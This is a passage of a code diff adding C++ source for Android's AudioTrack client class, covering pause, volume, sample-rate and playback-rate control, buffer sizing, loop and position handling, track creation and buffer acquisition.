+        mProxy->interrupt();
+    }
+    mProxy->flush();
+    mAudioTrack->flush();
+}
+
+void AudioTrack::pause()
+{
+    AutoMutex lock(mLock);
+    ALOGV("%s(%d): prior state:%s", __func__, mPortId, stateToString(mState));
+
+    if (mState == STATE_ACTIVE) {
+        mState = STATE_PAUSED;
+    } else if (mState == STATE_STOPPING) {
+        mState = STATE_PAUSED_STOPPING;
+    } else {
+        return;
+    }
+    mProxy->interrupt();
+    mAudioTrack->pause();
+
+    if (isOffloaded_l()) {
+        if (mOutput != AUDIO_IO_HANDLE_NONE) {
+            // An offload output can be re-used between two audio tracks having
+            // the same configuration. A timestamp query for a paused track
+            // while the other is running would return an incorrect time.
+            // To fix this, cache the playback position on a pause() and return
+            // this time when requested until the track is resumed.
+
+            // OffloadThread sends HAL pause in its threadLoop. Time saved
+            // here can be slightly off.
+
+            // TODO: check return code for getRenderPosition.
+
+            uint32_t halFrames;
+            AudioSystem::getRenderPosition(mOutput, &halFrames, &mPausedPosition);
+            ALOGV("%s(%d): for offload, cache current position %u",
+                    __func__, mPortId, mPausedPosition);
+        }
+    }
+}
+
+status_t AudioTrack::setVolume(float left, float right)
+{
+    // This duplicates a test by AudioTrack JNI, but that is not the only caller
+    if (isnanf(left) || left < GAIN_FLOAT_ZERO || left > GAIN_FLOAT_UNITY ||
+            isnanf(right) || right < GAIN_FLOAT_ZERO || right > GAIN_FLOAT_UNITY) {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    mVolume[AUDIO_INTERLEAVE_LEFT] = left;
+    mVolume[AUDIO_INTERLEAVE_RIGHT] = right;
+
+    mProxy->setVolumeLR(gain_minifloat_pack(gain_from_float(left), gain_from_float(right)));
+
+    if (isOffloaded_l()) {
+        mAudioTrack->signal();
+    }
+    return NO_ERROR;
+}
+
+status_t AudioTrack::setVolume(float volume)
+{
+    return setVolume(volume, volume);
+}
+
+status_t AudioTrack::setAuxEffectSendLevel(float level)
+{
+    // This duplicates a test by AudioTrack JNI, but that is not the only caller
+    if (isnanf(level) || level < GAIN_FLOAT_ZERO || level > GAIN_FLOAT_UNITY) {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    mSendLevel = level;
+    mProxy->setSendLevel(level);
+
+    return NO_ERROR;
+}
+
+void AudioTrack::getAuxEffectSendLevel(float* level) const
+{
+    if (level != NULL) {
+        *level = mSendLevel;
+    }
+}
+
+status_t AudioTrack::setSampleRate(uint32_t rate)
+{
+    AutoMutex lock(mLock);
+    ALOGV("%s(%d): prior state:%s rate:%u", __func__, mPortId, stateToString(mState), rate);
+
+    if (rate == mSampleRate) {
+        return NO_ERROR;
+    }
+    if (isOffloadedOrDirect_l() || (mFlags & AUDIO_OUTPUT_FLAG_FAST)
+            || (mChannelMask & AUDIO_CHANNEL_HAPTIC_ALL)) {
+        return INVALID_OPERATION;
+    }
+    if (mOutput == AUDIO_IO_HANDLE_NONE) {
+        return NO_INIT;
+    }
+    // NOTE: it is theoretically possible, but highly unlikely, that a device change
+    // could mean a previously allowed sampling rate is no longer allowed.
+    uint32_t afSamplingRate;
+    if (AudioSystem::getSamplingRate(mOutput, &afSamplingRate) != NO_ERROR) {
+        return NO_INIT;
+    }
+    // pitch is emulated by adjusting speed and sampleRate
+    const uint32_t effectiveSampleRate = adjustSampleRate(rate, mPlaybackRate.mPitch);
+    if (rate == 0 || effectiveSampleRate > afSamplingRate * AUDIO_RESAMPLER_DOWN_RATIO_MAX) {
+        return BAD_VALUE;
+    }
+    // TODO: Should we also check if the buffer size is compatible?
+
+    mSampleRate = rate;
+    mProxy->setSampleRate(effectiveSampleRate);
+
+    return NO_ERROR;
+}
+
+uint32_t AudioTrack::getSampleRate() const
+{
+    AutoMutex lock(mLock);
+
+    // sample rate can be updated during playback by the offloaded decoder so we need to
+    // query the HAL and update if needed.
+// FIXME use Proxy return channel to update the rate from server and avoid polling here
+    if (isOffloadedOrDirect_l()) {
+        if (mOutput != AUDIO_IO_HANDLE_NONE) {
+            uint32_t sampleRate = 0;
+            status_t status = AudioSystem::getSamplingRate(mOutput, &sampleRate);
+            if (status == NO_ERROR) {
+                mSampleRate = sampleRate;
+            }
+        }
+    }
+    return mSampleRate;
+}
+
+uint32_t AudioTrack::getOriginalSampleRate() const
+{
+    return mOriginalSampleRate;
+}
+
+status_t AudioTrack::setPlaybackRate(const AudioPlaybackRate &playbackRate)
+{
+    AutoMutex lock(mLock);
+    if (isAudioPlaybackRateEqual(playbackRate, mPlaybackRate)) {
+        return NO_ERROR;
+    }
+    if (isOffloadedOrDirect_l()) {
+        return INVALID_OPERATION;
+    }
+    if (mFlags & AUDIO_OUTPUT_FLAG_FAST) {
+        return INVALID_OPERATION;
+    }
+
+    ALOGV("%s(%d): mSampleRate:%u  mSpeed:%f  mPitch:%f",
+            __func__, mPortId, mSampleRate, playbackRate.mSpeed, playbackRate.mPitch);
+    // pitch is emulated by adjusting speed and sampleRate
+    const uint32_t effectiveRate = adjustSampleRate(mSampleRate, playbackRate.mPitch);
+    const float effectiveSpeed = adjustSpeed(playbackRate.mSpeed, playbackRate.mPitch);
+    const float effectivePitch = adjustPitch(playbackRate.mPitch);
+    AudioPlaybackRate playbackRateTemp = playbackRate;
+    playbackRateTemp.mSpeed = effectiveSpeed;
+    playbackRateTemp.mPitch = effectivePitch;
+
+    ALOGV("%s(%d) (effective) mSampleRate:%u  mSpeed:%f  mPitch:%f",
+            __func__, mPortId, effectiveRate, effectiveSpeed, effectivePitch);
+
+    if (!isAudioPlaybackRateValid(playbackRateTemp)) {
+        ALOGW("%s(%d) (%f, %f) failed (effective rate out of bounds)",
+                __func__, mPortId, playbackRate.mSpeed, playbackRate.mPitch);
+        return BAD_VALUE;
+    }
+    // Check if the buffer size is compatible.
+    if (!isSampleRateSpeedAllowed_l(effectiveRate, effectiveSpeed)) {
+        ALOGW("%s(%d) (%f, %f) failed (buffer size)",
+                __func__, mPortId, playbackRate.mSpeed, playbackRate.mPitch);
+        return BAD_VALUE;
+    }
+
+    // Check resampler ratios are within bounds
+    if ((uint64_t)effectiveRate > (uint64_t)mSampleRate *
+            (uint64_t)AUDIO_RESAMPLER_DOWN_RATIO_MAX) {
+        ALOGW("%s(%d) (%f, %f) failed. Resample rate exceeds max accepted value",
+                __func__, mPortId, playbackRate.mSpeed, playbackRate.mPitch);
+        return BAD_VALUE;
+    }
+
+    if ((uint64_t)effectiveRate * (uint64_t)AUDIO_RESAMPLER_UP_RATIO_MAX < (uint64_t)mSampleRate) {
+        ALOGW("%s(%d) (%f, %f) failed. Resample rate below min accepted value",
+                __func__, mPortId, playbackRate.mSpeed, playbackRate.mPitch);
+        return BAD_VALUE;
+    }
+    mPlaybackRate = playbackRate;
+    //set effective rates
+    mProxy->setPlaybackRate(playbackRateTemp);
+    mProxy->setSampleRate(effectiveRate); // FIXME: not quite "atomic" with setPlaybackRate
+    return NO_ERROR;
+}
+
+const AudioPlaybackRate& AudioTrack::getPlaybackRate() const
+{
+    AutoMutex lock(mLock);
+    return mPlaybackRate;
+}
+
+ssize_t AudioTrack::getBufferSizeInFrames()
+{
+    AutoMutex lock(mLock);
+    if (mOutput == AUDIO_IO_HANDLE_NONE || mProxy.get() == 0) {
+        return NO_INIT;
+    }
+    return (ssize_t) mProxy->getBufferSizeInFrames();
+}
+
+status_t AudioTrack::getBufferDurationInUs(int64_t *duration)
+{
+    if (duration == nullptr) {
+        return BAD_VALUE;
+    }
+    AutoMutex lock(mLock);
+    if (mOutput == AUDIO_IO_HANDLE_NONE || mProxy.get() == 0) {
+        return NO_INIT;
+    }
+    ssize_t bufferSizeInFrames = (ssize_t) mProxy->getBufferSizeInFrames();
+    if (bufferSizeInFrames < 0) {
+        return (status_t)bufferSizeInFrames;
+    }
+    *duration = (int64_t)((double)bufferSizeInFrames * 1000000
+            / ((double)mSampleRate * mPlaybackRate.mSpeed));
+    return NO_ERROR;
+}
+
+ssize_t AudioTrack::setBufferSizeInFrames(size_t bufferSizeInFrames)
+{
+    AutoMutex lock(mLock);
+    if (mOutput == AUDIO_IO_HANDLE_NONE || mProxy.get() == 0) {
+        return NO_INIT;
+    }
+    // Reject if timed track or compressed audio.
+    if (!audio_is_linear_pcm(mFormat)) {
+        return INVALID_OPERATION;
+    }
+    return (ssize_t) mProxy->setBufferSizeInFrames((uint32_t) bufferSizeInFrames);
+}
+
+status_t AudioTrack::setLoop(uint32_t loopStart, uint32_t loopEnd, int loopCount)
+{
+    if (mSharedBuffer == 0 || isOffloadedOrDirect()) {
+        return INVALID_OPERATION;
+    }
+
+    if (loopCount == 0) {
+        ;
+    } else if (loopCount >= -1 && loopStart < loopEnd && loopEnd <= mFrameCount &&
+            loopEnd - loopStart >= MIN_LOOP) {
+        ;
+    } else {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    // See setPosition() regarding setting parameters such as loop points or position while active
+    if (mState == STATE_ACTIVE) {
+        return INVALID_OPERATION;
+    }
+    setLoop_l(loopStart, loopEnd, loopCount);
+    return NO_ERROR;
+}
+
+void AudioTrack::setLoop_l(uint32_t loopStart, uint32_t loopEnd, int loopCount)
+{
+    // We do not update the periodic notification point.
+    // mNewPosition = updateAndGetPosition_l() + mUpdatePeriod;
+    mLoopCount = loopCount;
+    mLoopEnd = loopEnd;
+    mLoopStart = loopStart;
+    mLoopCountNotified = loopCount;
+    mStaticProxy->setLoop(loopStart, loopEnd, loopCount);
+
+    // Waking the AudioTrackThread is not needed as this cannot be called when active.
+}
+
+status_t AudioTrack::setMarkerPosition(uint32_t marker)
+{
+    // The only purpose of setting marker position is to get a callback
+    if (mCbf == NULL || isOffloadedOrDirect()) {
+        return INVALID_OPERATION;
+    }
+
+    AutoMutex lock(mLock);
+    mMarkerPosition = marker;
+    mMarkerReached = false;
+
+    sp<AudioTrackThread> t = mAudioTrackThread;
+    if (t != 0) {
+        t->wake();
+    }
+    return NO_ERROR;
+}
+
+status_t AudioTrack::getMarkerPosition(uint32_t *marker) const
+{
+    if (isOffloadedOrDirect()) {
+        return INVALID_OPERATION;
+    }
+    if (marker == NULL) {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    mMarkerPosition.getValue(marker);
+
+    return NO_ERROR;
+}
+
+status_t AudioTrack::setPositionUpdatePeriod(uint32_t updatePeriod)
+{
+    // The only purpose of setting position update period is to get a callback
+    if (mCbf == NULL || isOffloadedOrDirect()) {
+        return INVALID_OPERATION;
+    }
+
+    AutoMutex lock(mLock);
+    mNewPosition = updateAndGetPosition_l() + updatePeriod;
+    mUpdatePeriod = updatePeriod;
+
+    sp<AudioTrackThread> t = mAudioTrackThread;
+    if (t != 0) {
+        t->wake();
+    }
+    return NO_ERROR;
+}
+
+status_t AudioTrack::getPositionUpdatePeriod(uint32_t *updatePeriod) const
+{
+    if (isOffloadedOrDirect()) {
+        return INVALID_OPERATION;
+    }
+    if (updatePeriod == NULL) {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    *updatePeriod = mUpdatePeriod;
+
+    return NO_ERROR;
+}
+
+status_t AudioTrack::setPosition(uint32_t position)
+{
+    if (mSharedBuffer == 0 || isOffloadedOrDirect()) {
+        return INVALID_OPERATION;
+    }
+    if (position > mFrameCount) {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    // Currently we require that the player is inactive before setting parameters such as position
+    // or loop points.  Otherwise, there could be a race condition: the application could read the
+    // current position, compute a new position or loop parameters, and then set that position or
+    // loop parameters but it would do the "wrong" thing since the position has continued to advance
+    // in the mean time.  If we ever provide a sequencer in server, we could allow a way for the app
+    // to specify how it wants to handle such scenarios.
+    if (mState == STATE_ACTIVE) {
+        return INVALID_OPERATION;
+    }
+    // After setting the position, use full update period before notification.
+    mNewPosition = updateAndGetPosition_l() + mUpdatePeriod;
+    mStaticProxy->setBufferPosition(position);
+
+    // Waking the AudioTrackThread is not needed as this cannot be called when active.
+    return NO_ERROR;
+}
+
+status_t AudioTrack::getPosition(uint32_t *position)
+{
+    if (position == NULL) {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    // FIXME: offloaded and direct tracks call into the HAL for render positions
+    // for compressed/synced data; however, we use proxy position for pure linear pcm data
+    // as we do not know the capability of the HAL for pcm position support and standby.
+    // There may be some latency differences between the HAL position and the proxy position.
+    if (isOffloadedOrDirect_l() && !isPurePcmData_l()) {
+        uint32_t dspFrames = 0;
+
+        if (isOffloaded_l() && ((mState == STATE_PAUSED) || (mState == STATE_PAUSED_STOPPING))) {
+            ALOGV("%s(%d): called in paused state, return cached position %u",
+                __func__, mPortId, mPausedPosition);
+            *position = mPausedPosition;
+            return NO_ERROR;
+        }
+
+        if (mOutput != AUDIO_IO_HANDLE_NONE) {
+            uint32_t halFrames; // actually unused
+            (void) AudioSystem::getRenderPosition(mOutput, &halFrames, &dspFrames);
+            // FIXME: on getRenderPosition() error, we return OK with frame position 0.
+        }
+        // FIXME: dspFrames may not be zero in (mState == STATE_STOPPED || mState == STATE_FLUSHED)
+        // due to hardware latency. We leave this behavior for now.
+        *position = dspFrames;
+    } else {
+        if (mCblk->mFlags & CBLK_INVALID) {
+            (void) restoreTrack_l("getPosition");
+            // FIXME: for compatibility with the Java API we ignore the restoreTrack_l()
+            // error here (e.g. DEAD_OBJECT) and return OK with the last recorded server position.
+        }
+
+        // IAudioTrack::stop() isn't synchronous; we don't know when presentation completes
+        *position = (mState == STATE_STOPPED || mState == STATE_FLUSHED) ?
+                0 : updateAndGetPosition_l().value();
+    }
+    return NO_ERROR;
+}
+
+status_t AudioTrack::getBufferPosition(uint32_t *position)
+{
+    if (mSharedBuffer == 0) {
+        return INVALID_OPERATION;
+    }
+    if (position == NULL) {
+        return BAD_VALUE;
+    }
+
+    AutoMutex lock(mLock);
+    *position = mStaticProxy->getBufferPosition();
+    return NO_ERROR;
+}
+
+status_t AudioTrack::reload()
+{
+    if (mSharedBuffer == 0 || isOffloadedOrDirect()) {
+        return INVALID_OPERATION;
+    }
+
+    AutoMutex lock(mLock);
+    // See setPosition() regarding setting parameters such as loop points or position while active
+    if (mState == STATE_ACTIVE) {
+        return INVALID_OPERATION;
+    }
+    mNewPosition = mUpdatePeriod;
+    (void) updateAndGetPosition_l();
+    mPosition = 0;
+    mPreviousTimestampValid = false;
+#if 0
+    // The documentation is not clear on the behavior of reload() and the restoration
+    // of loop count. Historically we have not restored loop count, start, end,
+    // but it makes sense if one desires to repeat playing a particular sound.
+    if (mLoopCount != 0) {
+        mLoopCountNotified = mLoopCount;
+        mStaticProxy->setLoop(mLoopStart, mLoopEnd, mLoopCount);
+    }
+#endif
+    mStaticProxy->setBufferPosition(0);
+    return NO_ERROR;
+}
+
+audio_io_handle_t AudioTrack::getOutput() const
+{
+    AutoMutex lock(mLock);
+    return mOutput;
+}
+
+status_t AudioTrack::setOutputDevice(audio_port_handle_t deviceId) {
+    AutoMutex lock(mLock);
+    if (mSelectedDeviceId != deviceId) {
+        mSelectedDeviceId = deviceId;
+        if (mStatus == NO_ERROR) {
+            android_atomic_or(CBLK_INVALID, &mCblk->mFlags);
+            mProxy->interrupt();
+        }
+    }
+    return NO_ERROR;
+}
+
+audio_port_handle_t AudioTrack::getOutputDevice() {
+    AutoMutex lock(mLock);
+    return mSelectedDeviceId;
+}
+
+// must be called with mLock held
+void AudioTrack::updateRoutedDeviceId_l()
+{
+    // if the track is inactive, do not update actual device as the output stream maybe routed
+    // to a device not relevant to this client because of other active use cases.
+    if (mState != STATE_ACTIVE) {
+        return;
+    }
+    if (mOutput != AUDIO_IO_HANDLE_NONE) {
+        audio_port_handle_t deviceId = AudioSystem::getDeviceIdForIo(mOutput);
+        if (deviceId != AUDIO_PORT_HANDLE_NONE) {
+            mRoutedDeviceId = deviceId;
+        }
+    }
+}
+
+audio_port_handle_t AudioTrack::getRoutedDeviceId() {
+    AutoMutex lock(mLock);
+    updateRoutedDeviceId_l();
+    return mRoutedDeviceId;
+}
+
+status_t AudioTrack::attachAuxEffect(int effectId)
+{
+    AutoMutex lock(mLock);
+    status_t status = mAudioTrack->attachAuxEffect(effectId);
+    if (status == NO_ERROR) {
+        mAuxEffectId = effectId;
+    }
+    return status;
+}
+
+audio_stream_type_t AudioTrack::streamType() const
+{
+    if (mStreamType == AUDIO_STREAM_DEFAULT) {
+        return AudioSystem::attributesToStreamType(mAttributes);
+    }
+    return mStreamType;
+}
+
+uint32_t AudioTrack::latency()
+{
+    AutoMutex lock(mLock);
+    updateLatency_l();
+    return mLatency;
+}
+
+// -------------------------------------------------------------------------
+
+// must be called with mLock held
+void AudioTrack::updateLatency_l()
+{
+    status_t status = AudioSystem::getLatency(mOutput, &mAfLatency);
+    if (status != NO_ERROR) {
+        ALOGW("%s(%d): getLatency(%d) failed status %d", __func__, mPortId, mOutput, status);
+    } else {
+        // FIXME don't believe this lie
+        mLatency = mAfLatency + (1000LL * mFrameCount) / mSampleRate;
+    }
+}
+
+// TODO Move this macro to a common header file for enum to string conversion in audio framework.
+#define MEDIA_CASE_ENUM(name) case name: return #name
+const char * AudioTrack::convertTransferToText(transfer_type transferType) {
+    switch (transferType) {
+        MEDIA_CASE_ENUM(TRANSFER_DEFAULT);
+        MEDIA_CASE_ENUM(TRANSFER_CALLBACK);
+        MEDIA_CASE_ENUM(TRANSFER_OBTAIN);
+        MEDIA_CASE_ENUM(TRANSFER_SYNC);
+        MEDIA_CASE_ENUM(TRANSFER_SHARED);
+        MEDIA_CASE_ENUM(TRANSFER_SYNC_NOTIF_CALLBACK);
+        default:
+            return "UNRECOGNIZED";
+    }
+}
+
+status_t AudioTrack::createTrack_l()
+{
+    status_t status;
+    bool callbackAdded = false;
+
+    const sp<IAudioFlinger>& audioFlinger = AudioSystem::get_audio_flinger();
+    if (audioFlinger == 0) {
+        ALOGE("%s(%d): Could not get audioflinger",
+                __func__, mPortId);
+        status = NO_INIT;
+        goto exit;
+    }
+
+    {
+    // mFlags (not mOrigFlags) is modified depending on whether fast request is accepted.
+    // After fast request is denied, we will request again if IAudioTrack is re-created.
+    // Client can only express a preference for FAST.  Server will perform additional tests.
+    if (mFlags & AUDIO_OUTPUT_FLAG_FAST) {
+        // either of these use cases:
+        // use case 1: shared buffer
+        bool sharedBuffer = mSharedBuffer != 0;
+        bool transferAllowed =
+            // use case 2: callback transfer mode
+            (mTransfer == TRANSFER_CALLBACK) ||
+            // use case 3: obtain/release mode
+            (mTransfer == TRANSFER_OBTAIN) ||
+            // use case 4: synchronous write
+            ((mTransfer == TRANSFER_SYNC || mTransfer == TRANSFER_SYNC_NOTIF_CALLBACK)
+                    && mThreadCanCallJava);
+
+        bool fastAllowed = sharedBuffer || transferAllowed;
+        if (!fastAllowed) {
+            ALOGW("%s(%d): AUDIO_OUTPUT_FLAG_FAST denied by client,"
+                  " not shared buffer and transfer = %s",
+                  __func__, mPortId,
+                  convertTransferToText(mTransfer));
+            mFlags = (audio_output_flags_t) (mFlags & ~AUDIO_OUTPUT_FLAG_FAST);
+        }
+    }
+
+    IAudioFlinger::CreateTrackInput input;
+    if (mStreamType != AUDIO_STREAM_DEFAULT) {
+        input.attr = AudioSystem::streamTypeToAttributes(mStreamType);
+    } else {
+        input.attr = mAttributes;
+    }
+    input.config = AUDIO_CONFIG_INITIALIZER;
+    input.config.sample_rate = mSampleRate;
+    input.config.channel_mask = mChannelMask;
+    input.config.format = mFormat;
+    input.config.offload_info = mOffloadInfoCopy;
+    input.clientInfo.clientUid = mClientUid;
+    input.clientInfo.clientPid = mClientPid;
+    input.clientInfo.clientTid = -1;
+    if (mFlags & AUDIO_OUTPUT_FLAG_FAST) {
+        // It is currently meaningless to request SCHED_FIFO for a Java thread.  Even if the
+        // application-level code follows all non-blocking design rules, the language runtime
+        // doesn't also follow those rules, so the thread will not benefit overall.
+        if (mAudioTrackThread != 0 && !mThreadCanCallJava) {
+            input.clientInfo.clientTid = mAudioTrackThread->getTid();
+        }
+    }
+    input.sharedBuffer = mSharedBuffer;
+    input.notificationsPerBuffer = mNotificationsPerBufferReq;
+    input.speed = 1.0;
+    if (audio_has_proportional_frames(mFormat) && mSharedBuffer == 0 &&
+            (mFlags & AUDIO_OUTPUT_FLAG_FAST) == 0) {
+        input.speed  = !isPurePcmData_l() || isOffloadedOrDirect_l() ? 1.0f :
+                        max(mMaxRequiredSpeed, mPlaybackRate.mSpeed);
+    }
+    input.flags = mFlags;
+    input.frameCount = mReqFrameCount;
+    input.notificationFrameCount = mNotificationFramesReq;
+    input.selectedDeviceId = mSelectedDeviceId;
+    input.sessionId = mSessionId;
+
+    IAudioFlinger::CreateTrackOutput output;
+
+    sp<IAudioTrack> track = audioFlinger->createTrack(input,
+                                                      output,
+                                                      &status);
+
+    if (status != NO_ERROR || output.outputId == AUDIO_IO_HANDLE_NONE) {
+        ALOGE("%s(%d): AudioFlinger could not create track, status: %d output %d",
+                __func__, mPortId, status, output.outputId);
+        if (status == NO_ERROR) {
+            status = NO_INIT;
+        }
+        goto exit;
+    }
+    ALOG_ASSERT(track != 0);
+
+    mFrameCount = output.frameCount;
+    mNotificationFramesAct = (uint32_t)output.notificationFrameCount;
+    mRoutedDeviceId = output.selectedDeviceId;
+    mSessionId = output.sessionId;
+
+    mSampleRate = output.sampleRate;
+    if (mOriginalSampleRate == 0) {
+        mOriginalSampleRate = mSampleRate;
+    }
+
+    mAfFrameCount = output.afFrameCount;
+    mAfSampleRate = output.afSampleRate;
+    mAfLatency = output.afLatencyMs;
+
+    mLatency = mAfLatency + (1000LL * mFrameCount) / mSampleRate;
+
+    // AudioFlinger now owns the reference to the I/O handle,
+    // so we are no longer responsible for releasing it.
+
+    // FIXME compare to AudioRecord
+    sp<IMemory> iMem = track->getCblk();
+    if (iMem == 0) {
+        ALOGE("%s(%d): Could not get control block", __func__, mPortId);
+        status = NO_INIT;
+        goto exit;
+    }
+    void *iMemPointer = iMem->pointer();
+    if (iMemPointer == NULL) {
+        ALOGE("%s(%d): Could not get control block pointer", __func__, mPortId);
+        status = NO_INIT;
+        goto exit;
+    }
+    // invariant that mAudioTrack != 0 is true only after set() returns successfully
+    if (mAudioTrack != 0) {
+        IInterface::asBinder(mAudioTrack)->unlinkToDeath(mDeathNotifier, this);
+        mDeathNotifier.clear();
+    }
+    mAudioTrack = track;
+    mCblkMemory = iMem;
+    IPCThreadState::self()->flushCommands();
+
+    audio_track_cblk_t* cblk = static_cast<audio_track_cblk_t*>(iMemPointer);
+    mCblk = cblk;
+
+    mAwaitBoost = false;
+    if (mFlags & AUDIO_OUTPUT_FLAG_FAST) {
+        if (output.flags & AUDIO_OUTPUT_FLAG_FAST) {
+            ALOGI("%s(%d): AUDIO_OUTPUT_FLAG_FAST successful; frameCount %zu -> %zu",
+                  __func__, mPortId, mReqFrameCount, mFrameCount);
+            if (!mThreadCanCallJava) {
+                mAwaitBoost = true;
+            }
+        } else {
+            ALOGW("%s(%d): AUDIO_OUTPUT_FLAG_FAST denied by server; frameCount %zu -> %zu",
+                  __func__, mPortId, mReqFrameCount, mFrameCount);
+        }
+    }
+    mFlags = output.flags;
+
+    //mOutput != output includes the case where mOutput == AUDIO_IO_HANDLE_NONE for first creation
+    if (mDeviceCallback != 0) {
+        if (mOutput != AUDIO_IO_HANDLE_NONE) {
+            AudioSystem::removeAudioDeviceCallback(this, mOutput, mPortId);
+        }
+        AudioSystem::addAudioDeviceCallback(this, output.outputId, output.portId);
+        callbackAdded = true;
+    }
+
+    mPortId = output.portId;
+    // We retain a copy of the I/O handle, but don't own the reference
+    mOutput = output.outputId;
+    mRefreshRemaining = true;
+
+    // Starting address of buffers in shared memory.  If there is a shared buffer, buffers
+    // is the value of pointer() for the shared buffer, otherwise buffers points
+    // immediately after the control block.  This address is for the mapping within client
+    // address space.  AudioFlinger::TrackBase::mBuffer is for the server address space.
+    void* buffers;
+    if (mSharedBuffer == 0) {
+        buffers = cblk + 1;
+    } else {
+        buffers = mSharedBuffer->pointer();
+        if (buffers == NULL) {
+            ALOGE("%s(%d): Could not get buffer pointer", __func__, mPortId);
+            status = NO_INIT;
+            goto exit;
+        }
+    }
+
+    mAudioTrack->attachAuxEffect(mAuxEffectId);
+
+    // If IAudioTrack is re-created, don't let the requested frameCount
+    // decrease.  This can confuse clients that cache frameCount().
+    if (mFrameCount > mReqFrameCount) {
+        mReqFrameCount = mFrameCount;
+    }
+
+    // reset server position to 0 as we have new cblk.
+    mServer = 0;
+
+    // update proxy
+    if (mSharedBuffer == 0) {
+        mStaticProxy.clear();
+        mProxy = new AudioTrackClientProxy(cblk, buffers, mFrameCount, mFrameSize);
+    } else {
+        mStaticProxy = new StaticAudioTrackClientProxy(cblk, buffers, mFrameCount, mFrameSize);
+        mProxy = mStaticProxy;
+    }
+
+    mProxy->setVolumeLR(gain_minifloat_pack(
+            gain_from_float(mVolume[AUDIO_INTERLEAVE_LEFT]),
+            gain_from_float(mVolume[AUDIO_INTERLEAVE_RIGHT])));
+
+    mProxy->setSendLevel(mSendLevel);
+    const uint32_t effectiveSampleRate = adjustSampleRate(mSampleRate, mPlaybackRate.mPitch);
+    const float effectiveSpeed = adjustSpeed(mPlaybackRate.mSpeed, mPlaybackRate.mPitch);
+    const float effectivePitch = adjustPitch(mPlaybackRate.mPitch);
+    mProxy->setSampleRate(effectiveSampleRate);
+
+    AudioPlaybackRate playbackRateTemp = mPlaybackRate;
+    playbackRateTemp.mSpeed = effectiveSpeed;
+    playbackRateTemp.mPitch = effectivePitch;
+    mProxy->setPlaybackRate(playbackRateTemp);
+    mProxy->setMinimum(mNotificationFramesAct);
+
+    mDeathNotifier = new DeathNotifier(this);
+    IInterface::asBinder(mAudioTrack)->linkToDeath(mDeathNotifier, this);
+
+    }
+
+exit:
+    if (status != NO_ERROR && callbackAdded) {
+        // note: mOutput is always valid is callbackAdded is true
+        AudioSystem::removeAudioDeviceCallback(this, mOutput, mPortId);
+    }
+
+    mStatus = status;
+
+    // sp<IAudioTrack> track destructor will cause releaseOutput() to be called by AudioFlinger
+    return status;
+}
+
+status_t AudioTrack::obtainBuffer(Buffer* audioBuffer, int32_t waitCount, size_t *nonContig)
+{
+    if (audioBuffer == NULL) {
+        if (nonContig != NULL) {
+            *nonContig = 0;
+        }
+        return BAD_VALUE;
+    }
+    if (mTransfer != TRANSFER_OBTAIN) {
+        audioBuffer->frameCount = 0;
+        audioBuffer->size = 0;
+        audioBuffer->raw = NULL;
+        if (nonContig != NULL) {
+            *nonContig = 0;
+        }
+        return INVALID_OPERATION;
+    }
+
+    const struct timespec *requested;
+    struct timespec timeout;
+    if (waitCount == -1) {
+        requested = &ClientProxy::kForever;
+    } else if (waitCount == 0) {
+        requested = &ClientProxy::kNonBlocking;
+    } else if (waitCount > 0) {
+        time_t ms = WAIT_PERIOD_MS * (time_t) waitCount;
+        timeout.tv_sec = ms / 1000;
+        timeout.tv_nsec = (long) (ms % 1000) * 1000000;
+        requested = &timeout;
+    } else {
+        ALOGE("%s(%d): invalid waitCount %d", __func__, mPortId, waitCount);
+        requested = NULL;
+    }
+    return obtainBuffer(audioBuffer, requested, NULL /*elapsed*/, nonContig);
+}
+
+status_t AudioTrack::obtainBuffer(Buffer* audioBuffer, const struct timespec *requested,
+        struct timespec *elapsed, size_t *nonContig)
+{
+    // previous and new IAudioTrack sequence numbers are used to detect track re-creation
+    uint32_t oldSequence = 0;
+    uint32_t newSequence;
+
+    Proxy::Buffer buffer;
+    status_t status = NO_ERROR;
+
+    static const int32_t kMaxTries = 5;
+    int32_t tryCounter = kMaxTries;
+
+    do {
+        // obtainBuffer() is called with mutex unlocked, so keep extra references to these fields to
+        // keep them from going away if another thread re-creates the track during obtainBuffer()
+        sp<AudioTrackClientProxy> proxy;
+        sp<IMemory> iMem;
+
+        {   // start of lock scope
+            AutoMutex lock(mLock);
+
+            newSequence = mSequence;
+            // did previous obtainBuffer() fail due to media server death or voluntary invalidation?
+            if (status == DEAD_OBJECT) {
+                // re-create track, unless someone else has already done so
+                if (newSequence == oldSequence) {
+                    status = restoreTrack_l("obtainBuffer");
+                    if (status != NO_ERROR) {
+                        buffer.mFrameCount = 0;
+                        buffer.mRaw = NULL;
+                        buffer.mNonContig = 0;
+                        break;
+                    }
+                }
+            }
+            oldSequence = newSequence;
+
+            if (status == NOT_ENOUGH_DATA) {
+                restartIfDisabled();
+            }
+
+            // Keep the extra references
+            proxy = mProxy;
+            iMem = mCblkMemory;
+
+            if (mState == STATE_STOPPING) {
+                status = -EINTR;
+                buffer.mFrameCount = 0;
+                buffer.mRaw = NULL;
+                buffer.mNonContig = 0;
+                break;
+            }
+
+            // Non-blocking if track is stopped or paused
+            if (mState != STATE_ACTIVE) {
+                requested = &ClientProxy::kNonBlocking;
+            }
+
+        }   // end of lock scope
+
+        buffer.mFrameCount = audioBuffer->frameCount;
+        // FIXME starts the requested timeout and elapsed over from scratch
+        status = proxy->obtainBuffer(&buffer, requested, elapsed);
+    } while (((status == DEAD_OBJECT) || (status == NOT_ENOUGH_DATA)) && (tryCounter-- > 0));
+
+    audioBuffer->frameCount = buffer.mFrameCount;
+    audioBuffer->size = buffer.mFrameCount * mFrameSize;
+    audioBuffer->raw = buffer.mRaw;
+    if (nonContig != NULL) {
+        *nonContig = buffer.mNonContig;
+    }
+    return status;
+}
+
+void AudioTrack::releaseBuffer(const Buffer* audioBuffer)
+{
+    // FIXME add error checking on mode, by adding an internal version
+    if (mTransfer == TRANSFER_SHARED) {
+        return;
+    }
+
+    size_t stepCount = audioBuffer->size / mFrameSize;
+    if (stepCount == 0) {
+        return;
+    }
+
+    Proxy::Buffer buffer;
+    buffer.mFrameCount = stepCount;
+    buffer.mRaw = audioBuffer->raw;
+
+    AutoMutex lock(mLock);
